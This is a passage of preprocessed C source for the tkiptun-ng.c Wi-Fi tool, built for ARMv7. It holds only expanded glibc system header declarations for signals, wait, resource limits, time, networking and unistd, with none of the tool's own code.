
extern int sigsetmask (int __mask) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__deprecated__));


extern int siggetmask (void) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__deprecated__));
# 216 "/usr/include/signal.h" 3 4
typedef __sighandler_t sig_t;





extern int sigemptyset (sigset_t *__set) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern int sigfillset (sigset_t *__set) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern int sigaddset (sigset_t *__set, int __signo) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern int sigdelset (sigset_t *__set, int __signo) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern int sigismember (__const sigset_t *__set, int __signo)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 252 "/usr/include/signal.h" 3 4
# 1 "/usr/include/bits/sigaction.h" 1 3 4
# 25 "/usr/include/bits/sigaction.h" 3 4
struct sigaction
  {


    union
      {

 __sighandler_t sa_handler;

 void (*sa_sigaction) (int, siginfo_t *, void *);
      }
    __sigaction_handler;







    __sigset_t sa_mask;


    int sa_flags;


    void (*sa_restorer) (void);
  };
# 253 "/usr/include/signal.h" 2 3 4


extern int sigprocmask (int __how, __const sigset_t *__restrict __set,
   sigset_t *__restrict __oset) __attribute__ ((__nothrow__ , __leaf__));






extern int sigsuspend (__const sigset_t *__set) __attribute__ ((__nonnull__ (1)));


extern int sigaction (int __sig, __const struct sigaction *__restrict __act,
        struct sigaction *__restrict __oact) __attribute__ ((__nothrow__ , __leaf__));


extern int sigpending (sigset_t *__set) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));






extern int sigwait (__const sigset_t *__restrict __set, int *__restrict __sig)
     __attribute__ ((__nonnull__ (1, 2)));






extern int sigwaitinfo (__const sigset_t *__restrict __set,
   siginfo_t *__restrict __info) __attribute__ ((__nonnull__ (1)));






extern int sigtimedwait (__const sigset_t *__restrict __set,
    siginfo_t *__restrict __info,
    __const struct timespec *__restrict __timeout)
     __attribute__ ((__nonnull__ (1)));



extern int sigqueue (__pid_t __pid, int __sig, __const union sigval __val)
     __attribute__ ((__nothrow__ , __leaf__));
# 310 "/usr/include/signal.h" 3 4
extern __const char *__const _sys_siglist[65];
extern __const char *__const sys_siglist[65];


struct sigvec
  {
    __sighandler_t sv_handler;
    int sv_mask;

    int sv_flags;

  };
# 334 "/usr/include/signal.h" 3 4
extern int sigvec (int __sig, __const struct sigvec *__vec,
     struct sigvec *__ovec) __attribute__ ((__nothrow__ , __leaf__));



# 1 "/usr/include/bits/sigcontext.h" 1 3 4
# 28 "/usr/include/bits/sigcontext.h" 3 4
# 1 "/usr/include/asm/sigcontext.h" 1 3 4
# 9 "/usr/include/asm/sigcontext.h" 3 4
struct sigcontext {
 unsigned long trap_no;
 unsigned long error_code;
 unsigned long oldmask;
 unsigned long arm_r0;
 unsigned long arm_r1;
 unsigned long arm_r2;
 unsigned long arm_r3;
 unsigned long arm_r4;
 unsigned long arm_r5;
 unsigned long arm_r6;
 unsigned long arm_r7;
 unsigned long arm_r8;
 unsigned long arm_r9;
 unsigned long arm_r10;
 unsigned long arm_fp;
 unsigned long arm_ip;
 unsigned long arm_sp;
 unsigned long arm_lr;
 unsigned long arm_pc;
 unsigned long arm_cpsr;
 unsigned long fault_address;
};
# 29 "/usr/include/bits/sigcontext.h" 2 3 4



# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 33 "/usr/include/bits/sigcontext.h" 2 3 4
# 340 "/usr/include/signal.h" 2 3 4


extern int sigreturn (struct sigcontext *__scp) __attribute__ ((__nothrow__ , __leaf__));






# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 350 "/usr/include/signal.h" 2 3 4




extern int siginterrupt (int __sig, int __interrupt) __attribute__ ((__nothrow__ , __leaf__));

# 1 "/usr/include/bits/sigstack.h" 1 3 4
# 26 "/usr/include/bits/sigstack.h" 3 4
struct sigstack
  {
    void *ss_sp;
    int ss_onstack;
  };



enum
{
  SS_ONSTACK = 1,

  SS_DISABLE

};
# 50 "/usr/include/bits/sigstack.h" 3 4
typedef struct sigaltstack
  {
    void *ss_sp;
    int ss_flags;
    size_t ss_size;
  } stack_t;
# 357 "/usr/include/signal.h" 2 3 4


# 1 "/usr/include/sys/ucontext.h" 1 3 4
# 25 "/usr/include/sys/ucontext.h" 3 4
# 1 "/usr/include/signal.h" 1 3 4
# 26 "/usr/include/sys/ucontext.h" 2 3 4



# 1 "/usr/include/bits/sigcontext.h" 1 3 4
# 30 "/usr/include/sys/ucontext.h" 2 3 4

typedef int greg_t;





typedef greg_t gregset_t[18];


enum
{
  REG_R0 = 0,

  REG_R1 = 1,

  REG_R2 = 2,

  REG_R3 = 3,

  REG_R4 = 4,

  REG_R5 = 5,

  REG_R6 = 6,

  REG_R7 = 7,

  REG_R8 = 8,

  REG_R9 = 9,

  REG_R10 = 10,

  REG_R11 = 11,

  REG_R12 = 12,

  REG_R13 = 13,

  REG_R14 = 14,

  REG_R15 = 15

};

struct _libc_fpstate
{
  struct
  {
    unsigned int sign1:1;
    unsigned int unused:15;
    unsigned int sign2:1;
    unsigned int exponent:14;
    unsigned int j:1;
    unsigned int mantissa1:31;
    unsigned int mantissa0:32;
  } fpregs[8];
  unsigned int fpsr:32;
  unsigned int fpcr:32;
  unsigned char ftype[8];
  unsigned int init_flag;
};

typedef struct _libc_fpstate fpregset_t;





typedef struct sigcontext mcontext_t;


typedef struct ucontext
  {
    unsigned long uc_flags;
    struct ucontext *uc_link;
    stack_t uc_stack;
    mcontext_t uc_mcontext;
    __sigset_t uc_sigmask;
    unsigned long uc_regspace[128] __attribute__((__aligned__(8)));
  } ucontext_t;
# 360 "/usr/include/signal.h" 2 3 4





extern int sigstack (struct sigstack *__ss, struct sigstack *__oss)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__deprecated__));



extern int sigaltstack (__const struct sigaltstack *__restrict __ss,
   struct sigaltstack *__restrict __oss) __attribute__ ((__nothrow__ , __leaf__));
# 395 "/usr/include/signal.h" 3 4
# 1 "/usr/include/bits/sigthread.h" 1 3 4
# 31 "/usr/include/bits/sigthread.h" 3 4
extern int pthread_sigmask (int __how,
       __const __sigset_t *__restrict __newmask,
       __sigset_t *__restrict __oldmask)__attribute__ ((__nothrow__ , __leaf__));


extern int pthread_kill (pthread_t __threadid, int __signo) __attribute__ ((__nothrow__ , __leaf__));
# 396 "/usr/include/signal.h" 2 3 4






extern int __libc_current_sigrtmin (void) __attribute__ ((__nothrow__ , __leaf__));

extern int __libc_current_sigrtmax (void) __attribute__ ((__nothrow__ , __leaf__));




# 32 "/usr/include/sys/wait.h" 2 3 4
# 1 "/usr/include/sys/resource.h" 1 3 4
# 25 "/usr/include/sys/resource.h" 3 4
# 1 "/usr/include/bits/resource.h" 1 3 4
# 33 "/usr/include/bits/resource.h" 3 4
enum __rlimit_resource
{

  RLIMIT_CPU = 0,



  RLIMIT_FSIZE = 1,



  RLIMIT_DATA = 2,



  RLIMIT_STACK = 3,



  RLIMIT_CORE = 4,






  __RLIMIT_RSS = 5,



  RLIMIT_NOFILE = 7,
  __RLIMIT_OFILE = RLIMIT_NOFILE,




  RLIMIT_AS = 9,



  __RLIMIT_NPROC = 6,



  __RLIMIT_MEMLOCK = 8,



  __RLIMIT_LOCKS = 10,



  __RLIMIT_SIGPENDING = 11,



  __RLIMIT_MSGQUEUE = 12,





  __RLIMIT_NICE = 13,




  __RLIMIT_RTPRIO = 14,





  __RLIMIT_RTTIME = 15,


  __RLIMIT_NLIMITS = 16,
  __RLIM_NLIMITS = __RLIMIT_NLIMITS


};
# 135 "/usr/include/bits/resource.h" 3 4
typedef __rlim64_t rlim_t;





struct rlimit
  {

    rlim_t rlim_cur;

    rlim_t rlim_max;
  };
# 160 "/usr/include/bits/resource.h" 3 4
enum __rusage_who
{

  RUSAGE_SELF = 0,



  RUSAGE_CHILDREN = -1
# 178 "/usr/include/bits/resource.h" 3 4
};


# 1 "/usr/include/bits/time.h" 1 3 4
# 182 "/usr/include/bits/resource.h" 2 3 4


struct rusage
  {

    struct timeval ru_utime;

    struct timeval ru_stime;

    long int ru_maxrss;


    long int ru_ixrss;

    long int ru_idrss;

    long int ru_isrss;


    long int ru_minflt;

    long int ru_majflt;

    long int ru_nswap;


    long int ru_inblock;

    long int ru_oublock;

    long int ru_msgsnd;

    long int ru_msgrcv;

    long int ru_nsignals;



    long int ru_nvcsw;


    long int ru_nivcsw;
  };







enum __priority_which
{
  PRIO_PROCESS = 0,

  PRIO_PGRP = 1,

  PRIO_USER = 2

};



# 268 "/usr/include/bits/resource.h" 3 4

# 26 "/usr/include/sys/resource.h" 2 3 4







# 43 "/usr/include/sys/resource.h" 3 4
typedef int __rlimit_resource_t;
typedef int __rusage_who_t;
typedef int __priority_which_t;
# 55 "/usr/include/sys/resource.h" 3 4
extern int getrlimit (__rlimit_resource_t __resource, struct rlimit *__rlimits) __asm__ ("" "getrlimit64") __attribute__ ((__nothrow__ , __leaf__))
                                                  ;
# 74 "/usr/include/sys/resource.h" 3 4
extern int setrlimit (__rlimit_resource_t __resource, __const struct rlimit *__rlimits) __asm__ ("" "setrlimit64") __attribute__ ((__nothrow__ , __leaf__))

                  ;
# 88 "/usr/include/sys/resource.h" 3 4
extern int getrusage (__rusage_who_t __who, struct rusage *__usage) __attribute__ ((__nothrow__ , __leaf__));





extern int getpriority (__priority_which_t __which, id_t __who) __attribute__ ((__nothrow__ , __leaf__));



extern int setpriority (__priority_which_t __which, id_t __who, int __prio)
     __attribute__ ((__nothrow__ , __leaf__));


# 33 "/usr/include/sys/wait.h" 2 3 4





# 1 "/usr/include/bits/waitflags.h" 1 3 4
# 39 "/usr/include/sys/wait.h" 2 3 4
# 63 "/usr/include/sys/wait.h" 3 4
typedef union
  {
    union wait *__uptr;
    int *__iptr;
  } __WAIT_STATUS __attribute__ ((__transparent_union__));
# 80 "/usr/include/sys/wait.h" 3 4
# 1 "/usr/include/bits/waitstatus.h" 1 3 4
# 67 "/usr/include/bits/waitstatus.h" 3 4
union wait
  {
    int w_status;
    struct
      {

 unsigned int __w_termsig:7;
 unsigned int __w_coredump:1;
 unsigned int __w_retcode:8;
 unsigned int:16;







      } __wait_terminated;
    struct
      {

 unsigned int __w_stopval:8;
 unsigned int __w_stopsig:8;
 unsigned int:16;






      } __wait_stopped;
  };
# 81 "/usr/include/sys/wait.h" 2 3 4
# 102 "/usr/include/sys/wait.h" 3 4
typedef enum
{
  P_ALL,
  P_PID,
  P_PGID
} idtype_t;
# 116 "/usr/include/sys/wait.h" 3 4
extern __pid_t wait (__WAIT_STATUS __stat_loc);
# 139 "/usr/include/sys/wait.h" 3 4
extern __pid_t waitpid (__pid_t __pid, int *__stat_loc, int __options);



# 1 "/usr/include/bits/siginfo.h" 1 3 4
# 25 "/usr/include/bits/siginfo.h" 3 4
# 1 "/usr/include/bits/wordsize.h" 1 3 4
# 26 "/usr/include/bits/siginfo.h" 2 3 4
# 144 "/usr/include/sys/wait.h" 2 3 4
# 155 "/usr/include/sys/wait.h" 3 4
extern int waitid (idtype_t __idtype, __id_t __id, siginfo_t *__infop,
     int __options);





struct rusage;






extern __pid_t wait3 (__WAIT_STATUS __stat_loc, int __options,
        struct rusage * __usage) __attribute__ ((__nothrow__));




extern __pid_t wait4 (__pid_t __pid, __WAIT_STATUS __stat_loc, int __options,
        struct rusage *__usage) __attribute__ ((__nothrow__));




# 45 "tkiptun-ng.c" 2
# 1 "/usr/include/sys/time.h" 1 3 4
# 27 "/usr/include/sys/time.h" 3 4
# 1 "/usr/include/time.h" 1 3 4
# 28 "/usr/include/sys/time.h" 2 3 4

# 1 "/usr/include/bits/time.h" 1 3 4
# 30 "/usr/include/sys/time.h" 2 3 4
# 39 "/usr/include/sys/time.h" 3 4

# 57 "/usr/include/sys/time.h" 3 4
struct timezone
  {
    int tz_minuteswest;
    int tz_dsttime;
  };

typedef struct timezone *__restrict __timezone_ptr_t;
# 73 "/usr/include/sys/time.h" 3 4
extern int gettimeofday (struct timeval *__restrict __tv,
    __timezone_ptr_t __tz) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));




extern int settimeofday (__const struct timeval *__tv,
    __const struct timezone *__tz)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));





extern int adjtime (__const struct timeval *__delta,
      struct timeval *__olddelta) __attribute__ ((__nothrow__ , __leaf__));




enum __itimer_which
  {

    ITIMER_REAL = 0,


    ITIMER_VIRTUAL = 1,



    ITIMER_PROF = 2

  };



struct itimerval
  {

    struct timeval it_interval;

    struct timeval it_value;
  };






typedef int __itimer_which_t;




extern int getitimer (__itimer_which_t __which,
        struct itimerval *__value) __attribute__ ((__nothrow__ , __leaf__));




extern int setitimer (__itimer_which_t __which,
        __const struct itimerval *__restrict __new,
        struct itimerval *__restrict __old) __attribute__ ((__nothrow__ , __leaf__));




extern int utimes (__const char *__file, __const struct timeval __tvp[2])
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));



extern int lutimes (__const char *__file, __const struct timeval __tvp[2])
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));


extern int futimes (int __fd, __const struct timeval __tvp[2]) __attribute__ ((__nothrow__ , __leaf__));
# 191 "/usr/include/sys/time.h" 3 4

# 46 "tkiptun-ng.c" 2

# 1 "/usr/include/netinet/in.h" 1 3 4
# 24 "/usr/include/netinet/in.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdint.h" 1 3 4


# 1 "/usr/include/stdint.h" 1 3 4
# 27 "/usr/include/stdint.h" 3 4
# 1 "/usr/include/bits/wchar.h" 1 3 4
# 28 "/usr/include/stdint.h" 2 3 4
# 1 "/usr/include/bits/wordsize.h" 1 3 4
# 29 "/usr/include/stdint.h" 2 3 4
# 49 "/usr/include/stdint.h" 3 4
typedef unsigned char uint8_t;
typedef unsigned short int uint16_t;

typedef unsigned int uint32_t;





__extension__
typedef unsigned long long int uint64_t;






typedef signed char int_least8_t;
typedef short int int_least16_t;
typedef int int_least32_t;



__extension__
typedef long long int int_least64_t;



typedef unsigned char uint_least8_t;
typedef unsigned short int uint_least16_t;
typedef unsigned int uint_least32_t;



__extension__
typedef unsigned long long int uint_least64_t;






typedef signed char int_fast8_t;





typedef int int_fast16_t;
typedef int int_fast32_t;
__extension__
typedef long long int int_fast64_t;



typedef unsigned char uint_fast8_t;





typedef unsigned int uint_fast16_t;
typedef unsigned int uint_fast32_t;
__extension__
typedef unsigned long long int uint_fast64_t;
# 126 "/usr/include/stdint.h" 3 4
typedef int intptr_t;


typedef unsigned int uintptr_t;
# 138 "/usr/include/stdint.h" 3 4
__extension__
typedef long long int intmax_t;
__extension__
typedef unsigned long long int uintmax_t;
# 4 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stdint.h" 2 3 4
# 25 "/usr/include/netinet/in.h" 2 3 4







enum
  {
    IPPROTO_IP = 0,

    IPPROTO_HOPOPTS = 0,

    IPPROTO_ICMP = 1,

    IPPROTO_IGMP = 2,

    IPPROTO_IPIP = 4,

    IPPROTO_TCP = 6,

    IPPROTO_EGP = 8,

    IPPROTO_PUP = 12,

    IPPROTO_UDP = 17,

    IPPROTO_IDP = 22,

    IPPROTO_TP = 29,

    IPPROTO_DCCP = 33,

    IPPROTO_IPV6 = 41,

    IPPROTO_ROUTING = 43,

    IPPROTO_FRAGMENT = 44,

    IPPROTO_RSVP = 46,

    IPPROTO_GRE = 47,

    IPPROTO_ESP = 50,

    IPPROTO_AH = 51,

    IPPROTO_ICMPV6 = 58,

    IPPROTO_NONE = 59,

    IPPROTO_DSTOPTS = 60,

    IPPROTO_MTP = 92,

    IPPROTO_ENCAP = 98,

    IPPROTO_PIM = 103,

    IPPROTO_COMP = 108,

    IPPROTO_SCTP = 132,

    IPPROTO_UDPLITE = 136,

    IPPROTO_RAW = 255,

    IPPROTO_MAX
  };



typedef uint16_t in_port_t;


enum
  {
    IPPORT_ECHO = 7,
    IPPORT_DISCARD = 9,
    IPPORT_SYSTAT = 11,
    IPPORT_DAYTIME = 13,
    IPPORT_NETSTAT = 15,
    IPPORT_FTP = 21,
    IPPORT_TELNET = 23,
    IPPORT_SMTP = 25,
    IPPORT_TIMESERVER = 37,
    IPPORT_NAMESERVER = 42,
    IPPORT_WHOIS = 43,
    IPPORT_MTP = 57,

    IPPORT_TFTP = 69,
    IPPORT_RJE = 77,
    IPPORT_FINGER = 79,
    IPPORT_TTYLINK = 87,
    IPPORT_SUPDUP = 95,


    IPPORT_EXECSERVER = 512,
    IPPORT_LOGINSERVER = 513,
    IPPORT_CMDSERVER = 514,
    IPPORT_EFSSERVER = 520,


    IPPORT_BIFFUDP = 512,
    IPPORT_WHOSERVER = 513,
    IPPORT_ROUTESERVER = 520,


    IPPORT_RESERVED = 1024,


    IPPORT_USERRESERVED = 5000
  };



typedef uint32_t in_addr_t;
struct in_addr
  {
    in_addr_t s_addr;
  };
# 198 "/usr/include/netinet/in.h" 3 4
struct in6_addr
  {
    union
      {
 uint8_t __u6_addr8[16];

 uint16_t __u6_addr16[8];
 uint32_t __u6_addr32[4];

      } __in6_u;





  };

extern const struct in6_addr in6addr_any;
extern const struct in6_addr in6addr_loopback;
# 225 "/usr/include/netinet/in.h" 3 4
struct sockaddr_in
  {
    sa_family_t sin_family;
    in_port_t sin_port;
    struct in_addr sin_addr;


    unsigned char sin_zero[sizeof (struct sockaddr) -
      (sizeof (unsigned short int)) -
      sizeof (in_port_t) -
      sizeof (struct in_addr)];
  };


struct sockaddr_in6
  {
    sa_family_t sin6_family;
    in_port_t sin6_port;
    uint32_t sin6_flowinfo;
    struct in6_addr sin6_addr;
    uint32_t sin6_scope_id;
  };




struct ip_mreq
  {

    struct in_addr imr_multiaddr;


    struct in_addr imr_interface;
  };

struct ip_mreq_source
  {

    struct in_addr imr_multiaddr;


    struct in_addr imr_interface;


    struct in_addr imr_sourceaddr;
  };




struct ipv6_mreq
  {

    struct in6_addr ipv6mr_multiaddr;


    unsigned int ipv6mr_interface;
  };




struct group_req
  {

    uint32_t gr_interface;


    struct sockaddr_storage gr_group;
  };

struct group_source_req
  {

    uint32_t gsr_interface;


    struct sockaddr_storage gsr_group;


    struct sockaddr_storage gsr_source;
  };



struct ip_msfilter
  {

    struct in_addr imsf_multiaddr;


    struct in_addr imsf_interface;


    uint32_t imsf_fmode;


    uint32_t imsf_numsrc;

    struct in_addr imsf_slist[1];
  };





struct group_filter
  {

    uint32_t gf_interface;


    struct sockaddr_storage gf_group;


    uint32_t gf_fmode;


    uint32_t gf_numsrc;

    struct sockaddr_storage gf_slist[1];
};
# 356 "/usr/include/netinet/in.h" 3 4
# 1 "/usr/include/bits/in.h" 1 3 4
# 99 "/usr/include/bits/in.h" 3 4
struct ip_opts
  {
    struct in_addr ip_dst;
    char ip_opts[40];
  };


struct ip_mreqn
  {
    struct in_addr imr_multiaddr;
    struct in_addr imr_address;
    int imr_ifindex;
  };


struct in_pktinfo
  {
    int ipi_ifindex;
    struct in_addr ipi_spec_dst;
    struct in_addr ipi_addr;
  };
# 357 "/usr/include/netinet/in.h" 2 3 4
# 365 "/usr/include/netinet/in.h" 3 4
extern uint32_t ntohl (uint32_t __netlong) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern uint16_t ntohs (uint16_t __netshort)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern uint32_t htonl (uint32_t __hostlong)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));
extern uint16_t htons (uint16_t __hostshort)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__const__));




# 1 "/usr/include/bits/byteswap.h" 1 3 4
# 377 "/usr/include/netinet/in.h" 2 3 4
# 492 "/usr/include/netinet/in.h" 3 4
extern int bindresvport (int __sockfd, struct sockaddr_in *__sock_in) __attribute__ ((__nothrow__ , __leaf__));


extern int bindresvport6 (int __sockfd, struct sockaddr_in6 *__sock_in)
     __attribute__ ((__nothrow__ , __leaf__));
# 617 "/usr/include/netinet/in.h" 3 4

# 48 "tkiptun-ng.c" 2
# 1 "/usr/include/arpa/inet.h" 1 3 4
# 31 "/usr/include/arpa/inet.h" 3 4




extern in_addr_t inet_addr (__const char *__cp) __attribute__ ((__nothrow__ , __leaf__));


extern in_addr_t inet_lnaof (struct in_addr __in) __attribute__ ((__nothrow__ , __leaf__));



extern struct in_addr inet_makeaddr (in_addr_t __net, in_addr_t __host)
     __attribute__ ((__nothrow__ , __leaf__));


extern in_addr_t inet_netof (struct in_addr __in) __attribute__ ((__nothrow__ , __leaf__));



extern in_addr_t inet_network (__const char *__cp) __attribute__ ((__nothrow__ , __leaf__));



extern char *inet_ntoa (struct in_addr __in) __attribute__ ((__nothrow__ , __leaf__));




extern int inet_pton (int __af, __const char *__restrict __cp,
        void *__restrict __buf) __attribute__ ((__nothrow__ , __leaf__));




extern __const char *inet_ntop (int __af, __const void *__restrict __cp,
    char *__restrict __buf, socklen_t __len)
     __attribute__ ((__nothrow__ , __leaf__));






extern int inet_aton (__const char *__cp, struct in_addr *__inp) __attribute__ ((__nothrow__ , __leaf__));



extern char *inet_neta (in_addr_t __net, char *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__));




extern char *inet_net_ntop (int __af, __const void *__cp, int __bits,
       char *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__));




extern int inet_net_pton (int __af, __const char *__cp,
     void *__buf, size_t __len) __attribute__ ((__nothrow__ , __leaf__));




extern unsigned int inet_nsap_addr (__const char *__cp,
        unsigned char *__buf, int __len) __attribute__ ((__nothrow__ , __leaf__));



extern char *inet_nsap_ntoa (int __len, __const unsigned char *__cp,
        char *__buf) __attribute__ ((__nothrow__ , __leaf__));



# 49 "tkiptun-ng.c" 2
# 1 "/usr/include/unistd.h" 1 3 4
# 28 "/usr/include/unistd.h" 3 4

# 203 "/usr/include/unistd.h" 3 4
# 1 "/usr/include/bits/posix_opt.h" 1 3 4
# 204 "/usr/include/unistd.h" 2 3 4



# 1 "/usr/include/bits/environments.h" 1 3 4
# 23 "/usr/include/bits/environments.h" 3 4
# 1 "/usr/include/bits/wordsize.h" 1 3 4
# 24 "/usr/include/bits/environments.h" 2 3 4
# 208 "/usr/include/unistd.h" 2 3 4
# 227 "/usr/include/unistd.h" 3 4
# 1 "/usr/lib/gcc/armv7a-hardfloat-linux-gnueabi/4.7.3/include/stddef.h" 1 3 4
# 228 "/usr/include/unistd.h" 2 3 4
# 256 "/usr/include/unistd.h" 3 4
typedef __useconds_t useconds_t;
# 288 "/usr/include/unistd.h" 3 4
extern int access (__const char *__name, int __type) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1)));
# 305 "/usr/include/unistd.h" 3 4
extern int faccessat (int __fd, __const char *__file, int __type, int __flag)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) __attribute__ ((__warn_unused_result__));
# 338 "/usr/include/unistd.h" 3 4
extern __off64_t lseek (int __fd, __off64_t __offset, int __whence) __asm__ ("" "lseek64") __attribute__ ((__nothrow__ , __leaf__))

             ;
# 354 "/usr/include/unistd.h" 3 4
extern int close (int __fd);






extern ssize_t read (int __fd, void *__buf, size_t __nbytes) __attribute__ ((__warn_unused_result__));





extern ssize_t write (int __fd, __const void *__buf, size_t __n) __attribute__ ((__warn_unused_result__));
# 389 "/usr/include/unistd.h" 3 4
extern ssize_t pread (int __fd, void *__buf, size_t __nbytes, __off64_t __offset) __asm__ ("" "pread64")

               __attribute__ ((__warn_unused_result__));
extern ssize_t pwrite (int __fd, __const void *__buf, size_t __nbytes, __off64_t __offset) __asm__ ("" "pwrite64")

                __attribute__ ((__warn_unused_result__));
# 418 "/usr/include/unistd.h" 3 4
extern int pipe (int __pipedes[2]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
# 433 "/usr/include/unistd.h" 3 4
extern unsigned int alarm (unsigned int __seconds) __attribute__ ((__nothrow__ , __leaf__));
# 445 "/usr/include/unistd.h" 3 4
extern unsigned int sleep (unsigned int __seconds);







extern __useconds_t ualarm (__useconds_t __value, __useconds_t __interval)
     __attribute__ ((__nothrow__ , __leaf__));






extern int usleep (__useconds_t __useconds);
# 470 "/usr/include/unistd.h" 3 4
extern int pause (void);



extern int chown (__const char *__file, __uid_t __owner, __gid_t __group)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));



extern int fchown (int __fd, __uid_t __owner, __gid_t __group) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));




extern int lchown (__const char *__file, __uid_t __owner, __gid_t __group)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));






extern int fchownat (int __fd, __const char *__file, __uid_t __owner,
       __gid_t __group, int __flag)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2))) __attribute__ ((__warn_unused_result__));



extern int chdir (__const char *__path) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__warn_unused_result__));



extern int fchdir (int __fd) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
# 512 "/usr/include/unistd.h" 3 4
extern char *getcwd (char *__buf, size_t __size) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));
# 526 "/usr/include/unistd.h" 3 4
extern char *getwd (char *__buf)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1))) __attribute__ ((__deprecated__)) __attribute__ ((__warn_unused_result__));




extern int dup (int __fd) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));


extern int dup2 (int __fd, int __fd2) __attribute__ ((__nothrow__ , __leaf__));
# 544 "/usr/include/unistd.h" 3 4
extern char **__environ;







extern int execve (__const char *__path, char *__const __argv[],
     char *__const __envp[]) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));




extern int fexecve (int __fd, char *__const __argv[], char *__const __envp[])
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (2)));




extern int execv (__const char *__path, char *__const __argv[])
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));



extern int execle (__const char *__path, __const char *__arg, ...)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));



extern int execl (__const char *__path, __const char *__arg, ...)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));



extern int execvp (__const char *__file, char *__const __argv[])
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));




extern int execlp (__const char *__file, __const char *__arg, ...)
     __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__nonnull__ (1, 2)));
# 599 "/usr/include/unistd.h" 3 4
extern int nice (int __inc) __attribute__ ((__nothrow__ , __leaf__)) __attribute__ ((__warn_unused_result__));




extern void _exit (int __status) __attribute__ ((__noreturn__));





# 1 "/usr/include/bits/confname.h" 1 3 4
# 26 "/usr/include/bits/confname.h" 3 4
enum
  {
    _PC_LINK_MAX,

    _PC_MAX_CANON,

    _PC_MAX_INPUT,

    _PC_NAME_MAX,

    _PC_PATH_MAX,

    _PC_PIPE_BUF,

    _PC_CHOWN_RESTRICTED,

    _PC_NO_TRUNC,

    _PC_VDISABLE,

    _PC_SYNC_IO,

    _PC_ASYNC_IO,

    _PC_PRIO_IO,

    _PC_SOCK_MAXBUF,

    _PC_FILESIZEBITS,

    _PC_REC_INCR_XFER_SIZE,

    _PC_REC_MAX_XFER_SIZE,

    _PC_REC_MIN_XFER_SIZE,

    _PC_REC_XFER_ALIGN,

    _PC_ALLOC_SIZE_MIN,

    _PC_SYMLINK_MAX,

    _PC_2_SYMLINKS

  };


enum
  {
    _SC_ARG_MAX,

    _SC_CHILD_MAX,

    _SC_CLK_TCK,

    _SC_NGROUPS_MAX,

    _SC_OPEN_MAX,

    _SC_STREAM_MAX,

    _SC_TZNAME_MAX,

    _SC_JOB_CONTROL,

    _SC_SAVED_IDS,

    _SC_REALTIME_SIGNALS,

    _SC_PRIORITY_SCHEDULING,

    _SC_TIMERS,

    _SC_ASYNCHRONOUS_IO,

    _SC_PRIORITIZED_IO,

    _SC_SYNCHRONIZED_IO,

    _SC_FSYNC,

    _SC_MAPPED_FILES,

    _SC_MEMLOCK,

    _SC_MEMLOCK_RANGE,

    _SC_MEMORY_PROTECTION,

    _SC_MESSAGE_PASSING,

    _SC_SEMAPHORES,

    _SC_SHARED_MEMORY_OBJECTS,

    _SC_AIO_LISTIO_MAX,

    _SC_AIO_MAX,

    _SC_AIO_PRIO_DELTA_MAX,

    _SC_DELAYTIMER_MAX,

    _SC_MQ_OPEN_MAX,

    _SC_MQ_PRIO_MAX,

    _SC_VERSION,

    _SC_PAGESIZE,


    _SC_RTSIG_MAX,

    _SC_SEM_NSEMS_MAX,

    _SC_SEM_VALUE_MAX,

    _SC_SIGQUEUE_MAX,

    _SC_TIMER_MAX,




    _SC_BC_BASE_MAX,

    _SC_BC_DIM_MAX,

